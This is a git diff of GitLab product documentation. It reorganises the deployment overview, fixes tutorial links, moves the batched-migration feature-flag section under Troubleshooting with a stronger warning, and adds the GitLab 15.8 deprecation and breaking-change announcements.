-To keep track of your deployments and gain insights into your infrastructure, we recommend
-connecting them to [a GitLab Environment](../ci/environments/index.md).
-
-## Releases
-
-Use GitLab [Releases](../user/project/releases/index.md) to plan, build, and deliver your applications.
-
-### Feature flags
-
-Use [feature flags](../operations/feature_flags.md) to control and strategically rollout application deployments.
-
-## Deploy to Google Cloud
-
-GitLab [Cloud Seed](../cloud_seed/index.md) is an open-source Incubation Engineering program that
-enables you to set up deployment credentials and deploy your application to Google Cloud Run with minimal friction.
+Deployment is the step of the software delivery process when your
+application gets deployed to its final, target infrastructure.
+
+You can deploy your application internally or to the public.
+Preview a release in a Review App, and use feature flags to
+release features incrementally.
+
+- [Environments and deployments](../ci/environments/index.md)
+- [Releases](../user/project/releases/index.md)
+- [Review Apps](../ci/review_apps/index.md)
+- [Feature flags](../operations/feature_flags.md)
+
+## Related topics
+
+- [Auto DevOps](autodevops/index.md) is an automated CI/CD-based workflow that supports the entire software
+ supply chain: build, test, lint, package, deploy, secure, and monitor applications using GitLab CI/CD.
+ It provides a set of ready-to-use templates that serve the vast majority of use cases.
+- [Auto Deploy](autodevops/stages.md#auto-deploy) is the DevOps stage dedicated to software
+ deployment using GitLab CI/CD. Auto Deploy has built-in support for EC2 and ECS deployments.
+- Deploy to Kubernetes clusters by using the [GitLab agent](../user/clusters/agent/install/index.md).
+- Use Docker images to run AWS commands from GitLab CI/CD, and a template to
+ facilitate [deployment to AWS](../ci/cloud_deployment).
+- Use GitLab CI/CD to target any type of infrastructure accessible by GitLab Runner.
+ [User and pre-defined environment variables](../ci/variables/index.md) and CI/CD templates
+ support setting up a vast number of deployment strategies.
+- Use GitLab [Cloud Seed](../cloud_seed/index.md), an open-source Incubation Engineering program,
+ to set up deployment credentials and deploy your application to Google Cloud Run with minimal friction.
diff --git a/doc/topics/set_up_organization.md b/doc/topics/set_up_organization.md
index 526e36b9ce0..855b4962960 100644
--- a/doc/topics/set_up_organization.md
+++ b/doc/topics/set_up_organization.md
@@ -11,7 +11,7 @@ and give everyone access to the projects they need.
- [Namespaces](../user/namespace/index.md)
- [Members](../user/project/members/index.md)
-- [Workspace](../user/workspace/index.md) _(In development)_
+- [Organization](../user/workspace/index.md) _(In development)_
- [Groups](../user/group/index.md)
- [User account options](../user/profile/index.md)
- [SSH keys](../user/ssh.md)
diff --git a/doc/tutorials/agile_sprint.md b/doc/tutorials/agile_sprint.md
index 8e1886cf464..ff0b17d7eb0 100644
--- a/doc/tutorials/agile_sprint.md
+++ b/doc/tutorials/agile_sprint.md
@@ -32,7 +32,7 @@ Membership automatically cascades down to all subgroups and projects.
## Create a project
-Now [create one or more projects](../user/project/working_with_projects.md#create-a-project) in your group.
+Now [create one or more projects](../user/project/index.md#create-a-project) in your group.
There are several different ways to create a project. A project contains
your code and pipelines, but also the issues that are used for planning your upcoming code changes.
diff --git a/doc/tutorials/move_personal_project_to_a_group.md b/doc/tutorials/move_personal_project_to_a_group.md
index 1431dc48d99..e3ab1e8fbd8 100644
--- a/doc/tutorials/move_personal_project_to_a_group.md
+++ b/doc/tutorials/move_personal_project_to_a_group.md
@@ -53,7 +53,7 @@ If you don't have a group, create one:
Before you move your project to a group:
- You must have the Owner role for the project.
-- Remove any [container images](../user/packages/container_registry/index.md#known-issues)
+- Remove any [container images](../user/packages/container_registry/index.md#move-or-rename-container-registry-repositories)
- Remove any npm packages. If you transfer a project to a different root namespace, the project must not contain any npm packages. When you update the path of a user or group, or transfer a subgroup or project, you must remove any npm packages first. You cannot update the root namespace of a project with npm packages. Make sure you update your .npmrc files to follow the naming convention and run npm publish if necessary.
Now you're ready to move your project:
diff --git a/doc/update/background_migrations.md b/doc/update/background_migrations.md
index 2e0bd1bb348..c5ffefdd77f 100644
--- a/doc/update/background_migrations.md
+++ b/doc/update/background_migrations.md
@@ -122,28 +122,6 @@ Expected batched background migration for the given configuration to be marked a
If you get this error, [check the batched background migration options](#database-migrations-failing-because-of-batched-background-migration-not-finished) to complete the upgrade.
-### Enable or disable batched background migrations
-
-WARNING:
-If you disable this feature flag, GitLab upgrades may fail.
-
-Batched background migrations are under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md)
-can opt to disable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:execute_batched_migrations_on_schedule)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:execute_batched_migrations_on_schedule)
-```
-
### Pause batched background migrations in GitLab 14.x
To pause an ongoing batched background migration, use the `disable` command above.
@@ -225,6 +203,18 @@ Feature.disable(:optimize_batched_migrations)
## Troubleshooting
+### Enable or disable batched background migrations
+
+In extremely limited circumstances, a GitLab administrator can disable the
+`execute_batched_migrations_on_schedule` [feature flag](../administration/feature_flags.md).
+This flag is enabled by default, and should be disabled only as a last resort
+to limit database operations in special circumstances, like database host maintenance.
+
+WARNING:
+Do not disable this flag unless you fully understand the ramifications. If you disable
+the `execute_batched_migrations_on_schedule` feature flag, GitLab upgrades may fail
+and data loss may occur.
+
### Database migrations failing because of batched background migration not finished
When updating to GitLab 14.2 or later there might be a database migration failing with a message like:
diff --git a/doc/update/deprecations.md b/doc/update/deprecations.md
index ed49a4ade09..e4c2f149653 100644
--- a/doc/update/deprecations.md
+++ b/doc/update/deprecations.md
@@ -48,13 +48,461 @@ sole discretion of GitLab Inc.
<div class="announcement-milestone">
+## Announced in 15.8
+
+<div class="deprecation removal-160 breaking-change">
+
+### Approvers and Approver Group fields in Merge Request Approval API
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+The endpoint to get the configuration of approvals for a project returns empty arrays for `approvers` and `approval_groups`. These fields were deprecated in favor of the endpoint to [get project-level rules](https://docs.gitlab.com/ee/api/merge_request_approvals.html#get-project-level-rules) for a merge request. API users are encouraged to switch to this endpoint instead. These fields will be removed from the `get configuration` endpoint in v5 of the GitLab REST API.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### Auto DevOps no longer provisions a PostgreSQL database by default
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+Currently, Auto DevOps provisions an in-cluster PostgreSQL database by default.
+In GitLab 16.0, databases will be provisioned only for users who opt in. This
+change supports production deployments that require more robust database management.
+
+If you want Auto DevOps to provision an in-cluster database,
+set the `POSTGRES_ENABLED` CI/CD variable to `true`.
+
+</div>
+
+<div class="deprecation removal-170 breaking-change">
+
+### Auto DevOps support for Herokuish is deprecated
+
+Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+Auto DevOps support for Herokuish is deprecated in favor of [Cloud Native Buildpacks](https://docs.gitlab.com/ee/topics/autodevops/stages.html#auto-build-using-cloud-native-buildpacks). You should [migrate your builds from Herokuish to Cloud Native Buildpacks](https://docs.gitlab.com/ee/topics/autodevops/stages.html#moving-from-herokuish-to-cloud-native-buildpacks). From GitLab 14.0, Auto Build uses Cloud Native Buildpacks by default.
+
+Because Cloud Native Buildpacks do not support automatic testing, the Auto Test feature of Auto DevOps is also deprecated.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### Azure Storage Driver defaults to the correct root prefix
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+The Azure Storage Driver writes to `//` as the default root directory. This default root directory appears in some places within the Azure UI as `/<no-name>/`. We have maintained this legacy behavior to support older deployments using this storage driver. However, when moving to Azure from another storage driver, this behavior hides all your data until you configure the storage driver to build root paths without an extra leading slash by setting `trimlegacyrootprefix: true`.
+
+The new default configuration for the storage driver will set `trimlegacyrootprefix: true`, and `/` will be the default root directory. You can add `trimlegacyrootprefix: false` to your current configuration to avoid any disruptions.
+
+This breaking change will happen in GitLab 16.0.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### Conan project-level search endpoint returns project-specific results
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+You can use the GitLab Conan repository with [project-level](https://docs.gitlab.com/ee/user/packages/conan_repository/#add-a-remote-for-your-project) or [instance-level](https://docs.gitlab.com/ee/user/packages/conan_repository/#add-a-remote-for-your-instance) endpoints. Each level supports the conan search command. However, the search endpoint for the project level is also returning packages from outside the target project.
+
+This unintended functionality is deprecated in GitLab 15.8 and will be removed in GitLab 16.0. The search endpoint for the project level will only return packages from the target project.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### Configuring Redis config file paths using environment variables is deprecated
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+You can no longer specify Redis configuration file locations
+using the environment variables like `GITLAB_REDIS_CACHE_CONFIG_FILE` or
+`GITLAB_REDIS_QUEUES_CONFIG_FILE`. Use the default
+config file locations instead, for example `config/redis.cache.yml` or
+`config/redis.queues.yml`.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### Container Registry pull-through cache
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+The Container Registry pull-through cache is deprecated in GitLab 15.8 and will be removed in GitLab 16.0. While the Container Registry pull-through cache functionality is useful, we have not made significant changes to this feature. You can use the upstream version of the container registry to achieve the same functionality. Removing the pull-through cache allows us also to remove the upstream client code without sacrificing functionality.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### Dependency Scanning support for Java 13, 14, 15, and 16
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+GitLab has deprecated Dependency Scanning support for Java versions 13, 14, 15, and 16 and plans to remove that support in the upcoming GitLab 16.0 release. This is consistent with [Oracle's support policy](https://www.oracle.com/java/technologies/java-se-support-roadmap.html) as Oracle Premier and Extended Support for these versions has ended. This also allows GitLab to focus Dependency Scanning Java support on LTS versions moving forward.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### Deployment API returns error when `updated_at` and `updated_at` are not used together
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+The Deployment API will now return an error when `updated_at` filtering and `updated_at` sorting are not used together. Some users were using filtering by `updated_at` to fetch "latest" deployment without using `updated_at` sorting, which may produce wrong results. You should instead use them together, or migrate to filtering by `finished_at` and sorting by `finished_at` which will give you "latest deployments" in a consistent way.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### Developer role providing the ability to import projects to a group
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+The ability for users with the Developer role for a group to import projects to that group is deprecated in GitLab
+15.8 and will be removed in GitLab 16.0. From GitLab 16.0, only users with at least the Maintainer role for a group
+will be able to import projects to that group.
+
+</div>
+
+<div class="deprecation removal-170 breaking-change">
+
+### GitLab Helm chart values `gitlab.kas.privateApi.*` are deprecated
+
+Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+We introduced the `global.kas.tls.*` Helm values to facilitate TLS communication between KAS and your Helm chart components.
+The old values `gitlab.kas.privateApi.tls.enabled` and `gitlab.kas.privateApi.tls.secretName` are deprecated and scheduled for removal in GitLab 17.0.
+
+Because the new values provide a streamlined, comprehensive method to enable TLS for KAS, you should use `global.kas.tls.*` instead of `gitlab.kas.privateApi.tls.*`. The `gitlab.kas.privateApi.tls.*` For more information, see:
+
+- The [merge request](https://gitlab.com/gitlab-org/charts/gitlab/-/merge_requests/2888) that introduces the `global.kas.tls.*` values.
+- The [deprecated `gitlab.kas.privateApi.tls.*` documentation](https://docs.gitlab.com/charts/charts/gitlab/kas/index.html#enable-tls-communication-through-the-gitlabkasprivateapi-attributes-deprecated).
+- The [new `global.kas.tls.*` documentation](https://docs.gitlab.com/charts/charts/globals.html#tls-settings-1).
+
+</div>
+
+<div class="deprecation removal-160">
+
+### GitLab.com importer
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+The [GitLab.com importer](https://docs.gitlab.com/ee/user/project/import/gitlab_com.html) is deprecated in GitLab 15.8 and will be removed in GitLab 16.0.
+
+The GitLab.com importer was introduced in 2015 for importing a project from GitLab.com to a self-managed GitLab instance through the UI.
+This feature is available on self-managed instances only. [Migrating GitLab groups and projects by direct transfer](https://docs.gitlab.com/ee/user/group/import/#migrate-groups-by-direct-transfer-recommended)
+supersedes the GitLab.com importer and provides a more cohesive importing functionality.
+
+See [migrated group items](https://docs.gitlab.com/ee/user/group/import/#migrated-group-items) and [migrated project items](https://docs.gitlab.com/ee/user/group/import/#migrated-project-items) for an overview.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### GraphQL: The `DISABLED_WITH_OVERRIDE` value of the `SharedRunnersSetting` enum is deprecated. Use `DISABLED_AND_OVERRIDABLE` instead
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+In GitLab 16.0, the `DISABLED_WITH_OVERRIDE` value of the `SharedRunnersSetting` GraphQL enum type will be replaced with the value, `DISABLED_AND_OVERRIDABLE`.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### Limit personal access token and deploy token's access with external authorization
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+With external authorization enabled, personal access tokens (PATs) and deploy tokens must no longer be able to access container or package registries. This defense-in-depth security measure will be deployed in 16.0. For users that use PATs and deploy tokens to access these registries, this measure breaks this use of these tokens. Disable external authorization to use tokens with container or package registries.
+
+</div>
+
+<div class="deprecation removal-159 breaking-change">
+
+### Live Preview no longer available in the Web IDE
+
+Planned removal: GitLab <span class="removal-milestone">15.9</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+The Live Preview feature of the Web IDE was intended to provide a client-side preview of static web applications. However, complex configuration steps and a narrow set of supported project types have limited its utility. With the introduction of the Web IDE Beta in GitLab 15.7, you can now connect to a full server-side runtime environment. With upcoming support for installing extensions in the Web IDE, we'll also support more advanced workflows than those available with Live Preview. As of GitLab 15.9, Live Preview is no longer available in the Web IDE.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### Maintainer role providing the ability to change Package settings using GraphQL API
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+The ability for users with the Maintainer role to change the **Packages and registries** settings for a group using
+the GraphQL API is deprecated in GitLab 15.8 and will be removed in GitLab 16.0. These settings include:
+
+- [Allowing or preventing duplicate package uploads](https://docs.gitlab.com/ee/user/packages/maven_repository/#do-not-allow-duplicate-maven-packages).
+- [Package request forwarding](https://docs.gitlab.com/ee/user/packages/maven_repository/#request-forwarding-to-maven-central).
+- [Enabling lifecycle rules for the Dependency Proxy](https://docs.gitlab.com/ee/user/packages/dependency_proxy/reduce_dependency_proxy_storage.html).
+
+In GitLab 16.0 and later, you must have Owner role for a group to change the **Packages and registries**
+settings for the group using either the GitLab UI or GraphQL API.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### Non-standard default Redis ports are deprecated
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+If GitLab starts without any Redis configuration file present,
+GitLab assumes it can connect to three Redis servers at `localhost:6380`,
+`localhost:6381` and `localhost:6382`. We are changing this behavior
+so GitLab assumes there is one Redis server at `localhost:6379`.
+
+Administrators who want to keep the three servers must configure
+the Redis URLs by editing the `config/redis.cache.yml`,`config/redis.queues.yml`
+and `config/redis.shared_state.yml` files.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### Null value for `private_profile` attribute in User API is deprecated
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+When creating and updating users through the API, `null` was a valid value for the `private_profile` attribute, which would internally be converted to the default value. Starting with 16.0, `null` will no longer be a valid value for this parameter, and the response will be a 400 if used. Now the only valid values are `true` and `false`.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### Projects API field `operations_access_level` is deprecated
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+We are deprecating the `operations_access_level` field in the Projects API. This field has been replaced by fields to control specific features: `releases_access_level`, `environments_access_level`, `feature_flags_access_level`, `infrastructure_access_level`, and `monitor_access_level`.
+
+</div>
+
+<div class="deprecation removal-160">
+
+### Rake task for importing bare repositories
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+The [Rake task for importing bare repositories](https://docs.gitlab.com/ee/raketasks/import.html) `gitlab:import:repos` is deprecated in GitLab 15.8 and will be removed in GitLab 16.0.
+
+This Rake task imports a directory tree of repositories into a GitLab instance. These repositories must have been
+managed by GitLab previously, because the Rake task relies on the specific directory structure or a specific custom Git setting in order to work (`gitlab.fullpath`).
+
+Importing repositories using this Rake task has limitations. The Rake task:
+
+- Only knows about project and project wiki repositories and doesn't support repositories for designs, group wikis, or snippets.
+- Permits you to import non-hashed storage projects even though these aren't supported.
+- Relies on having Git config `gitlab.fullpath` set. [Epic 8953](https://gitlab.com/groups/gitlab-org/-/epics/8953) proposes removing support for this setting.
+
+Alternatives to using the `gitlab:import:repos` Rake task include:
+
+- Migrating projects using either [an export file](https://docs.gitlab.com/ee/user/project/settings/import_export.html) or
+ [direct transfer](https://docs.gitlab.com/ee/user/group/import/#migrate-groups-by-direct-transfer-recommended) migrate repositories as well.
+- Importing a [repository by URL](https://docs.gitlab.com/ee/user/project/import/repo_by_url.html).
+- Importing a [repositories from a non-GitLab source](https://docs.gitlab.com/ee/user/project/import/).
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### Support for third party registries
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+Support for third-party container registries is deprecated in GitLab 15.8 and will be [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/376217) in GitLab 16.0. Supporting both GitLab's Container Registry and third-party container registries is challenging for maintenance, code quality, and backward compatibility. This hinders our ability to stay [efficient](https://about.gitlab.com/handbook/values/#efficiency).
+
+Since we released the new [GitLab Container Registry](https://gitlab.com/groups/gitlab-org/-/epics/5523) version for GitLab.com, we've started to implement additional features that are not available in third-party container registries. These new features have allowed us to achieve significant performance improvements, such as [cleanup policies](https://gitlab.com/groups/gitlab-org/-/epics/8379). We are focusing on delivering [new features](https://gitlab.com/groups/gitlab-org/-/epics/5136), most of which will require functionalities only available on the GitLab Container Registry. This deprecation allows us to reduce fragmentation and user frustration in the long term by focusing on delivering a more robust integrated registry experience and feature set.
+
+Moving forward, we'll continue to invest in developing and releasing new features that will only be available in the GitLab Container Registry.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### The API no longer returns revoked tokens for the agent for Kubernetes
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+Currently, GET requests to the [Cluster Agents API](https://docs.gitlab.com/ee/api/cluster_agents.html#list-tokens-for-an-agent)
+endpoints can return revoked tokens. In GitLab 16.0, GET requests will not return revoked tokens.
+
+You should review your calls to these endpoints and ensure you do not use revoked tokens.
+
+This change affects the following REST and GraphQL API endpoints:
+
+- REST API:
+ - [List tokens](https://docs.gitlab.com/ee/api/cluster_agents.html#list-tokens-for-an-agent)
+ - [Get a single token](https://docs.gitlab.com/ee/api/cluster_agents.html#get-a-single-agent-token)
+- GraphQL:
+ - [`ClusterAgent.tokens`](https://docs.gitlab.com/ee/api/graphql/reference/#clusteragenttokens)
+
+</div>
+
+<div class="deprecation removal-170 breaking-change">
+
+### The Visual Reviews tool is deprecated
+
+Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+Due to limited customer usage and capabilities, the Visual Reviews feature for Review Apps is deprecated and will be removed. There is no planned replacement and users should stop using Visual Reviews before GitLab 17.0.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### The latest Terraform templates will overwrite current stable templates
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+With every major GitLab version, we update the stable Terraform templates with the current latest templates.
+This change affects the [quickstart](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml)
+and the [base](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform/Base.gitlab-ci.yml) templates.
+
+Because the new templates ship with default rules, the update might break your Terraform pipelines.
+For example, if your Terraform jobs are triggered as a downstream pipeline, the rules won't trigger your jobs
+in GitLab 16.0.
+
+To accommodate the changes, you might need to adjust the [`rules`](https://docs.gitlab.com/ee/ci/yaml/#rules) in your
+`.gitlab-ci.yml` file.
+
+</div>
+
+<div class="deprecation removal-160 breaking-change">
+
+### `environment_tier` parameter for DORA API
+
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
+
+WARNING:
+This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
+Review the details carefully before upgrading.
+
+To avoid confusion and duplication, the `environment_tier` parameter is deprecated in favor of the `environment_tiers` parameter. The new `environment_tiers` parameter allows DORA APIs to return aggregated data for multiple tiers at the same time. The `environment_tier` parameter will be removed in GitLab 16.0.
+
+</div>
+
+<div class="deprecation removal-1511">
+
+### openSUSE Leap 15.3 packages
+
+Planned removal: GitLab <span class="removal-milestone">15.11</span> <span class="removal-date"></span>
+
+Distribution support and security updates for openSUSE Leap 15.3 [ended December 2022](https://en.opensuse.org/Lifetime#Discontinued_distributions).
+
+Starting in GitLab 15.7 we started providing packages for openSUSE Leap 15.4, and will stop providing packages for openSUSE Leap 15.3 in the 15.11 milestone.
+
+- Switch from the openSUSE Leap 15.3 packages to the provided 15.4 packages.
+
+</div>
+</div>
+
+<div class="announcement-milestone">
+
## Announced in 15.7
<div class="deprecation removal-160 breaking-change">
### DAST API scans using DAST template is deprecated
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -68,7 +516,7 @@ With the move to the new DAST API analyzer and the `DAST-API.gitlab-ci.yml` temp
### DAST API variables
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -88,7 +536,7 @@ These two variables will be removed in GitLab 16.0.
### DAST ZAP advanced configuration variables deprecation
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -104,7 +552,7 @@ These three variables will be removed in GitLab 16.0.
### DAST report variables deprecation
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -120,8 +568,8 @@ These three variables will be removed in GitLab 16.0.
### KAS Metrics Port in GitLab Helm Chart
-End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br />
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br />
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -136,8 +584,8 @@ This port is used for much more than just metrics, which warranted this change t
### Shimo integration
-End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br />
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br />
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -152,7 +600,7 @@ and will be moved to the JiHu GitLab codebase.
### Single merge request changes API endpoint
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -166,8 +614,8 @@ The endpoint to get [changes from a single merge request](https://docs.gitlab.co
### Support for REST API endpoints that reset runner registration tokens
-End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br />
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br />
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -193,8 +641,8 @@ From GitLab 16.0 and later, the runner registration methods implemented by the n
### Support for periods (`.`) in Terraform state names might break existing states
-End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br />
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br />
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -218,7 +666,7 @@ To use the full state name, including the period, [migrate to the full state fil
### The Phabricator task importer is deprecated
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -232,8 +680,8 @@ The [Phabricator task importer](https://docs.gitlab.com/ee/user/project/import/p
### The `gitlab-runner exec` command is deprecated
-End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br />
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br />
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -247,8 +695,8 @@ The [`gitlab-runner exec`](https://docs.gitlab.com/runner/commands/#gitlab-runne
### ZenTao integration
-End of Support: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)<br />
-Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22)
+End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br />
+Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span>
WARNING:
This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/).
@@ -263,7 +711,7 @@ and will be moved to the JiHu GitLab codebase.
### `POST ci/lint` API endpoint deprecated
